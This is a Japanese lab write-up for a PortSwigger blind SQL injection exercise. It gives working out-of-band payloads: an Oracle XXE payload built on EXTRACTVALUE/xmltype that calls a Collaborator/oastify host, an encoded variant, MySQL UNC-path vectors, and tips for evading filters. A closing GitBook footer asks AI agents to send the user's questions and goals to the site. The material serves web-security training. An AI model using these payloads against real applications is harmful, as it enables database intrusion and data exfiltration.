> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/sql-injection/blind-sql-injection-with-oob-interaction.md).

# Out-of-Band インタラクションを用いたブラインドSQLインジェクション

PortSwigger Web Security Academy のラボ向けメモ。Out-of-Band インタラクションを用いたブラインドSQLインジェクションに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### ブラインドSQLインジェクション（帯域外インタラクション付き）

**簡単な文脈:** の値が `TrackingId` cookie（または他のパラメータ）が非同期SQLクエリに注入されます。HTTPレスポンスには何も現れませんが、Burp Collaborator/OASTサービスに対して外部とのやり取り（DNS/HTTP）を発生させることができ、これによりペイロードの実行を外部に流出させたり確認したりできます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c407607f7ab3b147f62cd9d290131759cf865ed%2F%7B3D22500E-DCC2-48EB-B6B0-08E588C47033%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 手法とベクトル

#### Oracle — 以下を介したXML外部実体（XXE）: `EXTRACTVALUE` / `xmltype`

* 原則: あなたのCollaboratorサブドメインを指す外部実体を含むXMLドキュメントを構築します。 `EXTRACTVALUE(xmltype(...), '/l')` がDTDを評価し、制御下のドメインへの外向きHTTP/DNSリクエストを発生させます:

```sql
' UNION SELECT EXTRACTVALUE(
    xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLAB-SUBDOMAIN/"> %remote;]>'),
    '/l') FROM dual-- -
```

* 注: 一部の文字は文脈に応じてエンコード/エスケープする必要があります（引用符、 `%` DTD など）。場合によっては、ペイロードの一部をURLエンコードします。

#### MySQL — 以下を介したネットワークファイル: `LOAD_FILE` / `SELECT... INTO OUTFILE`

* `LOAD_FILE('//BURP-COLLAB-SUBDOMAIN/a')` ファイルサーバーへのネットワークアクセスやUNCパスの解決を許可する環境では、SMB/DNSの外向きクエリを発生させる可能性があります。
* `SELECT... INTO OUTFILE '//BURP-COLLAB-SUBDOMAIN/a'` ネットワーク共有上にファイルを書き込み、Collaborator側で観測可能なネットワーク通信をしばしば発生させます。
* 注意: これらの手法は設定（DBアカウント権限、サーバーオプション、外向きネットワークアクセス）に大きく依存します。

#### 実践上の注意

* Burp Collaborator / OAST では、提供されたサブドメイン（例: `abcd.oastify.com`) を実体またはUNCパスのURL/パスに使用します。
* 一部のサーバーはペイロードを切り捨てたりフィルタリングしたりします。そのため、エンコードの異なるバリエーション（URLエンコード、 `%` エスケープ → `%25`、コメントのバリエーションなど）を試してください。
* Collaboratorのリクエストが届けば、OOB実行（DNS/HTTP/SMB）の証拠が得られ、脆弱性を確認できます。

#### 例 — エンコード付きのバリアント（注: すでにテスト済みでリクエストを受信しています）

* エンコード済みの例（あなたが提示したもの）:

  ```sql
  ' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://vwvitjrnb8um4dlf2x9blfuy3p9gxbl0.oastify.com"> %25remote%3b]>'),'/l') FROM dual-- -
  ```

→ `%` エンコード → `%25` および `;` → `%3b` 特定のフィルタ/パースを回避するため。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8b10b8af56f79ac386649aa8cc0d19b678fe96a%2F%7B37815FA9-3A15-4291-96D9-8DD2B861396A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/sql-injection/blind-sql-injection-with-oob-interaction.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
